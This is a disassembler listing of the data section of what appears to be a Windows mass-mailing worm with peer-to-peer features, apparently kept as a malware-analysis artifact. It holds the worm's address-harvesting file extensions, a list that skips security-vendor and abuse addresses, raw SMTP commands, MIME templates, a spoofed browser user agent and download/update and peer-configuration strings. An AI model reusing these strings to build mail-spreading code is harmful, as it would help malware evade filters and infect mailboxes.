a061f8a5c4bd902	db '061F8A5C4BD90280C79A5DD4E05750B8=9A2542771EBF00',0
					; DATA XREF: .data:004212B6o
a03dc878b249549	db '03DC878B2495491DD2E68616FC8A00A7=58BF0DF74B4400',0
					; DATA XREF: .data:004212B2o
a03cee71f18bcd8	db '03CEE71F18BCD85C77A54CB0AABA436C=524A9D122A1500',0
					; DATA XREF: .data:004212AEo
a0380eef8ee41b2	db '0380EEF8EE41B20E1EF02A6139A72B28=9A25428C1EBF00',0
					; DATA XREF: .data:004212AAo
a0380eef8d3389d	db '0380EEF8D3389DA037FDB7564778866E=9A2542A41EBF00',0
					; DATA XREF: .data:004212A6o
a0380eef8a06de9	db '0380EEF8A06DE9BD986E69F02698B4F3=9A2542D11EBF00',0
					; DATA XREF: .data:004212A2o
a0380eef88e0389	db '0380EEF88E038931BA0C0057ECD0ED2C=9A2542D21EBF00',0
					; DATA XREF: .data:0042129Eo
a0380eef83fefb7	db '0380EEF83FEFB7059EF969C51A90C29E=9A2542751EBF00',0
					; DATA XREF: .data:0042129Ao
a0370dc8b37b3b6	db '0370DC8B37B3B63A34256656A0E26CD0=9A2542D21EBF00',0
					; DATA XREF: .data:00421296o
a029b2bd77d16da	db '029B2BD77D16DA39CF62FCF30ED38487=570BCFE54E5200',0
					; DATA XREF: .data:00421292o
a028c8a0f2ad992	db '028C8A0F2AD992450B0F6EF397496947=C820559C282200',0
					; DATA XREF: .data:0042128Eo
a02414d9a28e6ae	db '02414D9A28E6AE0087CCD8FFF0F2D14C=442DB4E57E4700',0
					; DATA XREF: .data:0042128Ao
a0222629571f2b9	db '0222629571F2B9B99485CA73B3962682=D9D18BFB5BF300',0
					; DATA XREF: .data:00421286o
a0204635ea60fac	db '0204635EA60FAC36D4E434AB91FE3162=D5608B6C4C9800',0
					; DATA XREF: .data:00421282o
a0202414d9a28e6	db '0202414D9A28E6AE0087CCD88F81BF3B=52E02F5A2C2100',0
					; DATA XREF: .data:0042127Eo
a01ea8f6782b0bf	db '01EA8F6782B0BF0A924E507C87446D5B=D9932317198900',0
					; DATA XREF: .data:0042127Ao
a0152101d974365	db '0152101D974365C7B3B30D653AA78BE2=D429F7D4217100',0
					; DATA XREF: .data:00421276o
a01011766d802a3	db '01011766D802A3FD2F19630EA897B5D4=458E6DF41C7800',0
					; DATA XREF: .data:00421272o
a01000000000000	db '0100000000000000000000008D0DFD11=44E14B9B2C6300',0
					; DATA XREF: .data:0042126Eo
a00a1836ae91d07	db '00A1836AE91D076BC265F9735204714F=451AAE831EBF00',0
					; DATA XREF: .data:0042126Ao
a008e235027f1c8	db '008E235027F1C8CF485E95784935E045=458E6DF41C7800',0
					; DATA XREF: .data:00421266o
a0080b864b2be6f	db '0080B864B2BE6FD9D7F5EDE294E4D428=445286932C1100',0
					; DATA XREF: .data:00421262o
a008052d5853a3b	db '008052D5853A3B3D2A9B84190975BAFD=53855152054A00',0
					; DATA XREF: .data:0042125Eo
a004982069e5db7	db '004982069E5DB75721B54CFF33A26170=5955FC93123900',0
					; DATA XREF: .data:0042125Ao
a0042856b2ace49	db '0042856B2ACE498B28D976190EA4F30C=443520D2410B00',0
					; DATA XREF: .data:00421256o
a0040a30e13c238	db '0040A30E13C23842275F69AE7EFD59BA=C122902E4B4800',0
					; DATA XREF: .data:00421252o
a00401b0f192e0c	db '00401B0F192E0CE7BA48E2E720F85CD4=BE4D93A3155E00',0
					; DATA XREF: .data:0042124Eo
a003964d3640550	db '003964D3640550573F800125725481EF=5326859A123900',0
					; DATA XREF: .data:0042124Ao
a00037a3051fe23	db '00037A3051FE23B6BE8B8C79BE6DD56A=41FF4E35835600',0
					; DATA XREF: .data:00421246o
a0001351de60d58	db '0001351DE60D58519C2DB8A6F34A9C69=452FC581466700',0
					; DATA XREF: .data:00421242o
a00010ced75c2e4	db '00010CED75C2E4C6222534E6BD5BB4A1=D5868ADE16C900',0
					; DATA XREF: .data:0042123Eo
a00000000000000	db '00000000000000009C2DB8A6F34A9C69=452FC581466700',0
					; DATA XREF: .data:0042123Ao
aPeers_0	db '[peers]',0          ; DATA XREF: .data:00421236o
aLocal_0	db '[local]',0          ; DATA XREF: .data:00421232o
aConfig_0	db '[config]',0         ; DATA XREF: .data:0042122Eo
		align 10h
aPostmaster@	db 'postmaster@',0      ; DATA XREF: .data:004217F6o
					; .data:00421936o
aRoot@		db 'root@',0            ; DATA XREF: .data:004217F2o
					; .data:00421932o
		align 4
aLocal		db 'local',0            ; DATA XREF: sub_409866+50o
					; .data:004217EEo ...
		align 4
aNoreply	db 'noreply',0          ; DATA XREF: .data:004217EAo
					; .data:0042192Ao
a@avp_		db '@avp.',0            ; DATA XREF: .data:004217E6o
					; .data:00421926o
		align 4
aPgp		db 'pgp',0              ; DATA XREF: .data:004217E2o
					; .data:00421922o
aSpam		db 'spam',0             ; DATA XREF: .data:004217DEo
					; .data:0042191Eo
		align 4
aCafee		db 'cafee',0            ; DATA XREF: .data:004217DAo
					; .data:0042191Ao
		align 10h
aPanda		db 'panda',0            ; DATA XREF: .data:004217D6o
					; .data:00421916o
		align 4
aAbuse		db 'abuse',0            ; DATA XREF: .data:004217D2o
					; .data:00421912o
		align 10h
aSamples	db 'samples',0          ; DATA XREF: .data:004217CEo
					; .data:0042190Eo
aWinrar		db 'winrar',0           ; DATA XREF: .data:004217CAo
					; .data:0042190Ao
		align 10h
aGoogle		db 'google',0           ; DATA XREF: .data:004217C6o
					; .data:00421906o
		align 4
aWinzip		db 'winzip',0           ; DATA XREF: .data:004217C2o
					; .data:00421902o
		align 10h
a@messagelab	db '@messagelab',0      ; DATA XREF: .data:004217BEo
					; .data:004218FEo
aFreeAv		db 'free-av',0          ; DATA XREF: .data:004217BAo
					; .data:004218FAo
a@iana		db '@iana',0            ; DATA XREF: .data:004217B6o
					; .data:004218F6o
		align 4
a@foo		db '@foo',0             ; DATA XREF: .data:004217B2o
					; .data:004218F2o
		align 4
aSopho		db 'sopho',0            ; DATA XREF: .data:004217AEo
					; .data:004218EEo
		align 4
aCertific	db 'certific',0         ; DATA XREF: .data:004217AAo
					; .data:004218EAo
		align 4
aListserv	db 'listserv',0         ; DATA XREF: .data:004217A6o
					; .data:004218E6o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:004217A2o
					; .data:004218E2o
		align 4
aBsd		db 'bsd',0              ; DATA XREF: .data:0042179Eo
					; .data:004218DEo
aUnix		db 'unix',0             ; DATA XREF: .data:0042179Ao
					; .data:004218DAo
		align 4
aNtivi		db 'ntivi',0            ; DATA XREF: .data:00421796o
					; .data:004218D6o
		align 10h
aSupport	db 'support',0          ; DATA XREF: .data:00421792o
					; .data:004218D2o
aIcrosoft	db 'icrosoft',0         ; DATA XREF: .data:0042178Eo
					; .data:004218CEo
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:0042178Ao
					; .data:004218CAo
		align 4
aKasp		db 'kasp',0             ; DATA XREF: .data:00421786o
					; .data:004218C6o
		align 4
aNoone@		db 'noone@',0           ; DATA XREF: .data:00421782o
					; .data:004218C2o
		align 4
aNobody@	db 'nobody@',0          ; DATA XREF: .data:0042177Eo
					; .data:004218BEo
aInfo@		db 'info@',0            ; DATA XREF: .data:0042177Ao
					; .data:004218BAo
		align 4
aHelp@		db 'help@',0            ; DATA XREF: .data:00421776o
					; .data:004218B6o
		align 4
aGoldCerts@	db 'gold-certs@',0      ; DATA XREF: .data:00421772o
					; .data:004218B2o
aFeste		db 'feste',0            ; DATA XREF: .data:0042176Eo
					; .data:004218AEo
		align 4
aContract@	db 'contract@',0        ; DATA XREF: .data:0042176Ao
					; .data:004218AAo
		align 4
aBugs@		db 'bugs@',0            ; DATA XREF: .data:00421766o
					; .data:004218A6o
		align 4
aAnyone@	db 'anyone@',0          ; DATA XREF: .data:00421762o
					; .data:004218A2o
aUpdate		db 'update',0           ; DATA XREF: sub_403ED0+19Co
					; sub_403ED0+203o ...
		align 4
aNews		db 'news',0             ; DATA XREF: .data:0042175Ao
					; .data:0042189Ao
		align 4
aFSecur		db 'f-secur',0          ; DATA XREF: .data:00421756o
					; .data:00421896o
aRating@	db 'rating@',0          ; DATA XREF: .data:00421752o
					; .data:00421892o
a@microsoft	db '@microsoft',0       ; DATA XREF: .data:0042174Eo
					; .data:0042188Eo
		align 10h
a_lst		db '.lst',0             ; DATA XREF: .data:00421746o
					; .data:00421886o
		align 4
a_dat		db '.dat',0             ; DATA XREF: .data:00421742o
					; .data:00421882o
		align 10h
a_jsp		db '.jsp',0             ; DATA XREF: .data:0042173Eo
					; .data:0042187Eo
		align 4
a_dhtm		db '.dhtm',0            ; DATA XREF: .data:0042173Ao
					; .data:0042187Ao
		align 10h
a_mht		db '.mht',0             ; DATA XREF: .data:00421736o
					; .data:00421876o
		align 4
a_cgi		db '.cgi',0             ; DATA XREF: .data:00421732o
					; .data:00421872o
		align 10h
a_uin		db '.uin',0             ; DATA XREF: .data:0042172Eo
					; .data:0042186Eo
		align 4
a_oft		db '.oft',0             ; DATA XREF: .data:0042172Ao
					; .data:0042186Ao
		align 10h
a_xls		db '.xls',0             ; DATA XREF: .data:00421726o
					; .data:00421866o
		align 4
a_sht		db '.sht',0             ; DATA XREF: .data:00421722o
					; .data:00421862o
		align 10h
a_tbb		db '.tbb',0             ; DATA XREF: .data:0042171Eo
					; .data:0042185Eo
		align 4
a_adb		db '.adb',0             ; DATA XREF: .data:0042171Ao
					; .data:0042185Ao
		align 10h
a_wsh		db '.wsh',0             ; DATA XREF: .data:00421716o
					; .data:00421856o
		align 4
a_pl		db '.pl',0              ; DATA XREF: .data:00421712o
					; .data:00421852o
a_php		db '.php',0             ; DATA XREF: .data:0042170Eo
					; .data:0042184Eo
		align 4
a_asp		db '.asp',0             ; DATA XREF: .data:0042170Ao
					; .data:0042184Ao
		align 4
a_cfg		db '.cfg',0             ; DATA XREF: .data:00421706o
					; .data:00421846o
		align 4
a_ods		db '.ods',0             ; DATA XREF: .data:00421702o
					; .data:00421842o
		align 4
a_mmf		db '.mmf',0             ; DATA XREF: .data:004216FEo
					; .data:0042183Eo
		align 4
a_nch		db '.nch',0             ; DATA XREF: .data:004216FAo
					; .data:0042183Ao
		align 4
a_eml		db '.eml',0             ; DATA XREF: .data:004216F6o
					; .data:00421836o
		align 4
a_mdx		db '.mdx',0             ; DATA XREF: .data:004216F2o
					; .data:00421832o
		align 4
a_mbx		db '.mbx',0             ; DATA XREF: .data:004216EEo
					; .data:0042182Eo
		align 4
a_dbx		db '.dbx',0             ; DATA XREF: .data:004216EAo
					; .data:0042182Ao
		align 4
a_xml		db '.xml',0             ; DATA XREF: .data:004216E6o
					; .data:00421826o
		align 4
a_stm		db '.stm',0             ; DATA XREF: .data:004216E2o
					; .data:00421822o
		align 4
a_shtm		db '.shtm',0            ; DATA XREF: .data:004216DEo
					; .data:0042181Eo
		align 4
a_htm		db '.htm',0             ; DATA XREF: .data:004216DAo
					; .data:0042181Ao
		align 4
a_msg		db '.msg',0             ; DATA XREF: .data:004216D6o
					; .data:00421816o
		align 4
a_txt		db '.txt',0             ; DATA XREF: .data:004216D2o
					; .data:00421812o
		align 4
a_wab		db '.wab',0             ; DATA XREF: .data:004216CEo
					; .data:0042180Eo
		align 4
aSpooldr_ini_0	db 'spooldr.ini',0      ; DATA XREF: sub_40320F+1Ao
					; sub_40B56E+C7o ...
aContentTypeApp	db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah,0
					; DATA XREF: sub_4080EA+B1o
		align 4
aPost		db 'POST',0             ; DATA XREF: sub_4080EA+8Fo
		align 4
aIu6uu3wjjhfWyh:			; DATA XREF: sub_403316+2o
		unicode	0, <Iu6Uu3wJJHF%WYHS>,0
		align 10h
aK8jt6hnjmJuiWw	db 'K8JT6Hnjm$#jui#WWhHHgG',0 ; DATA XREF: sub_403389+3Co
		align 4
asc_41BC28:				; DATA XREF: sub_403539+D0o
					; sub_403ED0+166o ...
		unicode	0, < >,0
aWindowsnt3_51	db 'WindowsNT 3.51',0   ; DATA XREF: sub_403539:loc_4035F9o
		align 4
aWindows95	db 'Windows 95',0       ; DATA XREF: sub_403539+B9o
		align 4
aWindowsNt4_0	db 'Windows NT 4.0',0   ; DATA XREF: sub_403539+B2o
		align 4
aWindows98	db 'Windows 98',0       ; DATA XREF: sub_403539:loc_4035E0o
		align 4
aWindowsMe	db 'Windows Me',0       ; DATA XREF: sub_403539:loc_4035D9o
		align 10h
aWinSD_D	db 'Win%s %d.%d',0      ; DATA XREF: sub_403539+89o
a32		db '32',0               ; DATA XREF: sub_403539+79o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_403539+72o
		align 4
aWindows2000	db 'Windows 2000',0     ; DATA XREF: sub_403539:loc_403592o
		align 4
aWindowsXp	db 'Windows XP',0       ; DATA XREF: sub_403539:loc_40358Bo
		align 10h
aWindows2003	db 'Windows 2003',0     ; DATA XREF: sub_403539+4Bo
		align 10h
aWindowsVista	db 'Windows Vista',0    ; DATA XREF: sub_403539+34o
		align 10h
asc_41BCC0	db '~!',0               ; DATA XREF: sub_403632+Co
					; sub_4036C6+2Fo ...
		align 4
a5:					; DATA XREF: sub_4036C6+21o
		unicode	0, <5>,0
a9:					; DATA XREF: sub_403786+24o
		unicode	0, <9>,0
asc_41BCCC:				; DATA XREF: sub_4038BB+FCo
					; sub_408B4B+83o
		unicode	0, <\>,0
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_4038BB+8Fo
					; sub_40675C+30o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1921)',0
					; DATA XREF: sub_4038BB+65o
					; sub_406E37+109o ...
		align 4
a0:					; DATA XREF: sub_403AA0+6Eo
					; sub_403AA0+A5o ...
		unicode	0, <0>,0
a1:					; DATA XREF: sub_403AA0+67o
					; sub_403AA0+9Eo ...
		unicode	0, <1>,0
a1_0		db '1~!',0              ; DATA XREF: sub_403AA0+14o
off_41BD24	dd offset sub_403E74	; DATA XREF: sub_403CCB+28o
					; sub_403DAE+9o
		dd offset sub_405E95
aDownload	db 'download',0         ; DATA XREF: sub_403ED0+18Ao
		align 4
a2		db '2~!',0              ; DATA XREF: sub_403ED0+27o
off_41BD3C	dd offset sub_4045C1	; DATA XREF: sub_40444C+8o
					; sub_404949+16o
		dd offset sub_405E95
dword_41BD44	dd 217E36h		; DATA XREF: sub_404C71+14o
aNameserver	db 'NameServer',0       ; DATA XREF: sub_404D27+D6o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\',0
					; DATA XREF: sub_404D27+7o
		align 4
off_41BD94	dd offset sub_405069	; DATA XREF: sub_404FDE+1Do
					; sub_4058DF+32o
off_41BD98	dd offset sub_405659	; DATA XREF: sub_404FDE+17o
					; sub_4058DF+2Co
		dd offset sub_404AAE
dword_41BDA0	dd 33h			; DATA XREF: sub_405263+29o
dword_41BDA4	dd 7Ch			; DATA XREF: sub_405440+110o
					; sub_405440+148o
dword_41BDA8	dd 34h			; DATA XREF: sub_405440+24o
aAvast		db 'avast',0            ; DATA XREF: sub_405675+144o
		align 4
aGmail_com	db 'gmail.com',0        ; DATA XREF: sub_405675+B5o
		align 10h
off_41BDC0	dd offset sub_405D1C	; DATA XREF: sub_4059B5+6o sub_4059C7o
		dd offset sub_405E95
dword_41BDC8	dd 1			; DATA XREF: sub_405EFE+19o
off_41BDCC	dd offset sub_40CC7C	; DATA XREF: sub_406E37+1Eo
					; sub_406E37+2Ao
		dd offset sub_40CC7C
dword_41BDD4	dd 217E37h		; DATA XREF: sub_4064AA+27o
dword_41BDD8	dd 0			; DATA XREF: sub_406548+69o
					; sub_4074FB+2D5o ...
off_41BDDC	dd offset sub_406CFE	; DATA XREF: sub_4068A2+1Ao
					; sub_406E37+32o
		dd offset sub_406BE5
off_41BDE4	dd offset sub_4067A5	; DATA XREF: sub_4068A2+10o
					; sub_406E37+3Eo
		dd offset sub_4064AA
off_41BDEC	dd offset sub_406BAB	; DATA XREF: sub_4068A2+Ao
					; sub_406E37+38o
		dd offset sub_405E95
aHttp		db 'HTTP/',0            ; DATA XREF: sub_406BE5+C8o
		align 4
a8		db '8~!',0              ; DATA XREF: sub_406BE5+19o
a10		db '10~!',0             ; DATA XREF: sub_406CFE+18o
		align 4
byte_41BE08	db 30h			; DATA XREF: sub_40746D+63r
					; sub_4074FB+6Dr ...
a123456789abcde	db '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',0
		align 4
a04d02d02d02d02	db '%04d%02d%02d%02d%02d%02d',0 ; DATA XREF: sub_407119+156o
		align 4
aSDS04d02d02d02	db '%s, %d %s %04d %02d:%02d:%02d %c%02d%02d',0 ; DATA XREF: sub_407119+123o
		align 10h
aSat		db 'Sat',0              ; DATA XREF: sub_407119+92o
aFri		db 'Fri',0              ; DATA XREF: sub_407119+8Bo
aThu		db 'Thu',0              ; DATA XREF: sub_407119+84o
aWed		db 'Wed',0              ; DATA XREF: sub_407119+7Do
aTue		db 'Tue',0              ; DATA XREF: sub_407119+76o
aMon		db 'Mon',0              ; DATA XREF: sub_407119+6Fo
aSun		db 'Sun',0              ; DATA XREF: sub_407119+68o
aDec		db 'Dec',0              ; DATA XREF: sub_407119+61o
aNov		db 'Nov',0              ; DATA XREF: sub_407119+5Ao
aOct		db 'Oct',0              ; DATA XREF: sub_407119+53o
aSep		db 'Sep',0              ; DATA XREF: sub_407119+4Co
aAug		db 'Aug',0              ; DATA XREF: sub_407119+45o
aJul		db 'Jul',0              ; DATA XREF: sub_407119+3Eo
aJun		db 'Jun',0              ; DATA XREF: sub_407119+37o
aMay		db 'May',0              ; DATA XREF: sub_407119+30o
aApr		db 'Apr',0              ; DATA XREF: sub_407119+29o
aMar		db 'Mar',0              ; DATA XREF: sub_407119+22o
aFeb		db 'Feb',0              ; DATA XREF: sub_407119+1Bo
aJan		db 'Jan',0              ; DATA XREF: sub_407119+14o
		align 10h
dbl_41BEE0	dq 6.2e1		; DATA XREF: sub_40746D+37r
dbl_41BEE8	dq 1.792391689498254	; DATA XREF: sub_40746D+14r
a02x		db '%%%02x',0           ; DATA XREF: sub_4074FB+7C5o
		align 4
aLx		db '%lX',0              ; DATA XREF: sub_4074FB+707o
asc_41BEFC	db 0Dh,0Ah,0		; DATA XREF: sub_4074FB:loc_407AC9o
		align 10h
asc_41BF00	db 0Dh,0Ah		; DATA XREF: sub_4074FB+5C7o
		db ' ',0
asc_41BF04	db '=',0Dh,0Ah,0        ; DATA XREF: sub_4074FB+501o
					; sub_4074FB+67Fo
asc_41BF08	db ' =',0Dh,0Ah,0       ; DATA XREF: sub_4074FB:loc_4079E2o
		align 10h
a_nextpart_03d_	db '----=_NextPart_%03d_%04X_%08.8lX.%08.8lX',0 ; DATA XREF: sub_4074FB+42Fo
		align 4
a04x08_8lx08_8l	db '%04x%08.8lx$%08.8lx$%08x@',0 ; DATA XREF: sub_4074FB+3C2o
		align 4
aFontDiv	db '</FONT></DIV>',0    ; DATA XREF: sub_4074FB+31Ao
		align 4
aDivFontFace3_0	db '<DIV><FONT face=3DArial size=3D2>',0 ; DATA XREF: sub_4074FB+306o
		align 4
a20		db '=20',0Dh,0Ah,0      ; DATA XREF: sub_4074FB+2F2o
					; sub_4074FB+4E0o ...
		align 4
aDivFontFace3da	db '<DIV><FONT face=3DArial size=3D2></FONT> </DIV>',0
					; DATA XREF: sub_4074FB+2DBo
		align 4
aI		db '%i',0               ; DATA XREF: sub_4074FB+2ACo
		align 10h
a__0:					; DATA XREF: sub_4080EA+5Bo
					; sub_408B4B+57o
		unicode	0, <.>,0
aHtm		db 'htm',0              ; DATA XREF: sub_4080EA+2Fo
aGif		db 'gif',0              ; DATA XREF: sub_4080EA+28o
aJpg		db 'jpg',0              ; DATA XREF: sub_4080EA+21o
aA		db 'a=',0               ; DATA XREF: sub_408361+CEo
		align 4
aB		db '&b=',0              ; DATA XREF: sub_40856C+A6o
a__		db '..',0               ; DATA XREF: sub_408B4B+6Ao
		align 4
a__1		db '*.*',0              ; DATA XREF: sub_408B4B+2Bo
asc_41BFF0:				; DATA XREF: sub_40906B+5Bo
		unicode	0, <:>,0
aPeers		db 'peers',0            ; DATA XREF: sub_409866+AFo
					; sub_4099EF+25o
		align 4
aD		db '%d',0               ; DATA XREF: sub_409866+88o
					; sub_40C860+Do ...
		align 10h
aUport		db 'uport',0            ; DATA XREF: sub_409866+34o
		align 4
a08x04x02x	db '%08X%04X%02X',0     ; DATA XREF: sub_4099EF+86o
		align 4
		dd 10100FFh, 2020202h, 2 dup(3030303h),	4 dup(4040404h)
		dd 8 dup(5050505h), 10h	dup(6060606h), 20h dup(7070707h)
off_41C118	dd offset sub_40A522	; DATA XREF: sub_40A442+9o
					; sub_40A48A+6o
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		align 8
off_41C128	dd offset sub_40AFBA	; DATA XREF: sub_40AFBA+3o
					; sub_40B41F+B5o ...
		dd offset sub_40E0C2
		dd offset sub_40E0D4
off_41C134	dd offset sub_40CC7C	; DATA XREF: sub_40BBB5+Ao
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		dd offset sub_40CC7C
		dd offset sub_40CC7C
off_41C15C	dd offset sub_40A060	; DATA XREF: sub_40B199+6o
					; sub_40B787+9o
		dd offset sub_40B1BB
off_41C164	dd offset sub_40BFB2	; DATA XREF: sub_40B41F+16o
					; sub_40BBB5+1Co
		dd offset sub_40B50B
		dd offset sub_40C149
		dd offset sub_40C29A
		dd offset sub_40B4F4
		dd offset sub_40B4FB
		dd offset sub_40B4FF
		dd offset sub_40B503
		dd offset sub_40B507
		dd offset sub_40B517
off_41C18C	dd offset sub_40B7B1	; DATA XREF: sub_40B41F+10o
					; sub_40BBB5+16o
		dd offset sub_40B51B
		dd offset sub_40B232
byte_41C198	db 41h			; DATA XREF: sub_40C344+96r
					; sub_40C344+10Er
		db 42h,	43h, 44h
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 62615A59h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
		dd 76757473h, 7A797877h, 33323130h, 37363534h, 2F2B3938h
a02x_0		db '%02X',0             ; DATA XREF: sub_40C7A1+34o
		align 10h
off_41C1E0	dd offset sub_40C805	; DATA XREF: sub_40C9A6+6o
					; sub_40C9C3+6o
		dd offset nullsub_1
		dd offset sub_40C9DD
		dd offset sub_40C826
		dd offset sub_40C860
		dd offset sub_40C892
		dd offset sub_40C8FB
		dd offset sub_40C918
		dd offset sub_40C965
off_41C204	dd offset sub_40CA9E	; DATA XREF: sub_40CC41+6o
					; sub_40CC4E+3o
		dd offset sub_40CACF
		dd offset sub_40CC70
		dd offset sub_40CAE6
		dd offset sub_40CB16
		dd offset sub_40CB36
		dd offset sub_40CB98
		dd offset sub_40CBC5
		dd offset sub_40CC20
dword_41C228	dd 2B20h		; DATA XREF: sub_40D3F8+52o
aHeloS		db 'HELO %s',0Dh,0Ah,0  ; DATA XREF: sub_40D513+Bo
		align 4
aMailFromS	db 'MAIL From:<%s>',0Dh,0Ah,0 ; DATA XREF: sub_40D52B+Bo
		align 4
aRcptToS	db 'RCPT TO:<%s>',0Dh,0Ah,0 ; DATA XREF: sub_40D543+Bo
		align 4
aData		db 'DATA',0Dh,0Ah,0     ; DATA XREF: sub_40D55B+Eo
		align 4
a_		db 0Dh,0Ah		; DATA XREF: sub_40D55B+47o
		db '.',0Dh,0Ah,0
		align 4
aQuit		db 'QUIT',0Dh,0Ah,0     ; DATA XREF: sub_40D5C9+9o
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40D6ED+17o
off_41C280	dd offset sub_40DAB8	; DATA XREF: sub_40D737+Bo sub_40DA75o ...
		dd offset sub_40CC7C
		dd offset sub_40CC7C
off_41C28C	dd offset sub_40E090	; DATA XREF: sub_40DD7C+Co
					; sub_40DD92+3o ...
		dd offset sub_40DE7D
		dd offset sub_40DDB5
a1_2_3		db '1.2.3',0            ; DATA XREF: sub_40E306+2Co
					; sub_412FA4+2Eo
		align 10h
dword_41C2A0	dd 0			; DATA XREF: sub_40E3A1+23r
					; sub_40E3A1+6Br ...
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_41C6A0	dd 0			; DATA XREF: sub_40E3A1+56r
					; sub_40E3A1+84r ...
		dd 191B3141h, 32366282h, 2B2D53C3h, 646CC504h, 7D77F445h
